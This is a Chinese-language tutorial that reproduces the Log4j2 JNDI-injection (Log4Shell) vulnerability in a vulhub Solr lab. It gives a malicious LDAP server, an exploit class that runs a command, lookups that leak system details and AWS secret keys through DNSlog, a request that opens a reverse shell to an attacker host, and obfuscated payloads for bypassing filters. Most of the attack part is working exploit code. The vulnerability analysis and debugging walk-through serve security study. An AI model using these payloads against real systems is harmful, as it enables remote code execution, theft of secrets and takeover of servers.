文章目录
- 1、log4j简介
- 2、复现
- 2.1、高版本测试
- 2.2、测试代码
- 2.3、补充之dns探测
- 2.3.1、rmi、ldap也可以dnslog探测
- 2.3.2、dnslog外带信息
- 3、漏洞原理
- 3.1、漏洞的危害大的背景
- 3.2、具体的代码调试
- 4、靶场测试
- 4.1、dns探测
- 4.2、工具下载与使用
- 4.3、测试
- 4.4、手工可以测出，部分扫描器扫不到
- 5、bypass
1、log4j简介
Apache Log4j2是⼀个基于Java的⽇志记录⼯具。该⼯具重写了Log4j框架，并且引⼊了⼤量丰富的特性。该⽇志框架被⼤量⽤于业务系统开发，⽤来记录⽇志信息。⼤多数情况下，开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中。因为log4j是一个偏底层的组件，所以许多的服务都受到了影响，这个漏洞在刚公布的时候，也是引发了相当的轰动，
2、复现
2.1、高版本测试
先说结论，ldap协议，
使用1.8_65和1.8_151都可以直接触发，也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性但是1.8_202还是j了，即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性，也没有发出请求
rmi协议
1.8_65 直接触发1.8_151 需要设置“com.sun.jndi.rmi.object.trustURLCodebase”属性1.8_202 J
还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ”
这个“exp”区分大小写，要与rmi恶意服务提供的保持一致
2.2、测试代码
先引入组件，
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>
main.java
package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {private static final Logger logger =LogManager.getLogger();public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");//ldap://127.0.0.1:7777/Explogger.error("${jndi:ldap://127.0.0.1:7777/Exp}");}}这个ldap和恶意类还使用上一节提到的，ldap_Hack_server.java
package com.example.demo2;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://192.168.1.25:8888/#jndiexp"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResultresult ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}jndiexp.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错public class jndiexp implements ObjectFactory {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}2.3、补充之dns探测
2.3.1、rmi、ldap也可以dnslog探测
在使用dnslog探测漏洞的时候，
其实不仅仅dns协议可以，ldap和rmi协议也可以，
类似的rmi，
这里要注意下面，所以rmi协议相比较逊一些，
${jndi:rmi://rmi3.b5ar6g.dnslog.cn 这个后边必须跟一些东西，比如${jndi:rmi://rmi3.b5ar6g.dnslog.cn/xxx
但是不是太建议大家使用ldap和rmi毕竟有各种限制，还是直接使用dnslog比较方便
2.3.2、dnslog外带信息
另一个是dns、rmi、ldap都可以在探测dnslog的时候，外带一些系统的信息，
类似的有以下，各位有空可以试试，笔者未作测试，
这些都是log4j组件中的一个特殊占位符
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
3、漏洞原理
3.1、漏洞的危害大的背景
在log4j刚出来的时候，危害相当大，我们先说下log4j正常的使用背景，其实这个主要的原因，和日志有关，日志是应用软件中不可缺少的部分，Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。 最简单的日志打印 我们看如下登录场景：
咱们今天不用关心登录是怎么实现的，只用关心用户名name字段就可以了，代码如下
public void login(string name){String name = "test"; //表单接收name字段logger.info("{},登录了", name); //logger为log4j
}
很简单，用户如果登陆了，我们通过表单接收到相关name字段，然后在日志中记录上这么一条记录。这个看起来是很常规的操作了，记录日志为什么会导致漏洞呢？这主要就是lookup支持打印系统变量且name变量是用户输入的，用户输入什么都可以，
假设输入如下，
上述代码会输出，
Windows 7 6.1 Service Pack 1, architecture: amd64-64，登录了
为什么会产生这种奇怪的现象呢？
是因为log4j提供了一个lookup的功能，可以把一些系统变量放到日志中，
比较敏锐的同学可能已经开始察觉到了，现在越来越像sql注入了。其实这就是jndi注入了，之前我们说过，jndi注入可以利用rmi、ldap协议实现rce
3.2、具体的代码调试
进来先关注，这个log4j的版本，
有的maven会导入多个版本，在测试的时候，进入别的版本
然后每个函数可能会传递很多的参数，其实我们不用管别的，这里盯紧我们可控的参数即message然后，继续向下跟，都是很短的函数，没有if..else..这种条件结构直接向下走就行，这个小技巧就是，直接ctrl进到方法的实现，然后大个断点，然后直接“步过”到断点一个方法，一个断点，一个“步过”直到走到1641行，按照我们的估算，下一次是同页面的1572行，但是当1572行打了断点，“步过”的时候直接访问dnslog/弹窗了这就说明在1641行不能在“步过”了，需要“步入”
重新来，断点就留到1641，直接debug到这，然后“步入”到87行的log方法，但是这里有一个新的问题是，遇到if..else..怎么知道进的是哪个，不知道就都打上断点，再次“步过”
经过测试是进入if，但是这个log方法直接跟进去是一个定义的接口，所以也不能直接“步过”，继续“步入”，到了27行，
继续跟到这种结构，即if..else..下面还有代码，这里的重点不是进的 if还是else，重点是最终的漏洞是否在if..else..结构内触发，假设没有在if..else..语句内触发，那么其实这个if..else...的代码可以忽略，所以这种，我们直接在下面打断点，看看有没有触发，假设触发了，我们在重新来一遍定位是if还是else，并继续向下假设没有触发，我们就直接忽略
继续可以跟到这个107行，记录下
再向下就到这了，这个循环该到第八次的时候即i=8时，在步过就是9次的时候，直接步入，因为i=8的时候在步过就会直接弹窗，即漏洞是在第8次触发的
然后跟到这个MessagePatternConverter.class文件，
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));这段代码在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测，一旦匹配到类似于表达式结构的字符串就会触发替换机制。
然后这个地方是调试的一个重点，StrSubstitutor.class文件有多个while循环的这个地方触发的，但是正常跟进需要循环很多次，相当简单的是可以手动修改一些变量的值，这个值可能还是会绕一会，想绕的可以自己找找具体是在哪触发的，不想的可以看下下面的，
直接将断点打到该文件的418行，然后“步过”到418行，在这里解析到的字符串已经是“jndi:ldap://127.0.0.1:7777/Exp”
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
到这，log4j将会使用“jndi:ldap://127.0.0.1:7777/Exp”作为lookup参数，进行正常的lookup查询之前我们说过当lookup函数可控时就会造成rce，所以看到lookup函数且参数可控，一定要警惕，
继续，在这个地方，通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容（即152行代码）传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类（156行）
继续，
继续，笔者到这一步，继续步入就直接弹窗了，到这，其实还是log4j组件内，即下面应该跳到jdk底层代码的lookup函数，然后去加载我们的恶意类，但是不知道为什么无法跟进去，先到这把
调试参考：https://www.anquanke.com/post/id/262668
4、靶场测试
4.1、dns探测
使用vulhub搭建一个靶场，直接poc搞一下dns，
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.30363k.dnslog.cn} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
正常情况下，这种地方一般都是burp的插件或者xray或者其他扫描器扫到，
4.2、工具下载与使用
然后就是利用，下载利用工具，https://github.com/WhiteHSBG/JNDIExploitkali起来环境，
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i x.x.x.x注意这个IP不要写0.0.0.0；否则会攻击失败
-u可以查看payload，根据不同的框架选择即可，这个地方也可以加上-i IP这样出来的payload就不是0.0.0.0而是可以直接利用的了
具体的使用可以看下，工具地址有说明，
4.3、测试
由上面我们直接测试，一开始使用一些有回显的测试，都没有回显，
然后换直接反弹shell的，kali起监听，直接拿到shell，
详细请求数据包，
GET /solr/admin/cores?action=${jndi:ldap://192.168.1.27:1389/Basic/ReverseShell/192.168.1.27/889} HTTP/1.1
Host: 192.168.1.39:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.39:8983/solr/
Accept-Encoding: gzip, deflate
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close4.4、手工可以测出，部分扫描器扫不到
其实根据以上的原理，就可以看到，漏洞的触发是需要有打印log这个需求，但是不是所有的url的所有参数（包含header头参数）都会被打印，即漏洞的触发点可能只会是在部分uri的部分参数（包含header头参数）
回到问题，为什么有的扫描器扫不到，
着看扫描器实现的原理，假设扫描器是直接拼接了用户给的url，比如根目录
但是根目录没有漏洞的触发点的话，扫不到很正常，
所以想让扫描器覆盖到，笔者想到的就是配合爬虫，将爬虫爬到每个uri都过一遍
5、bypass
一些流传的bypass姿势，
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}${jndi:rmi://adsasd.asdasd.asdasd}${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
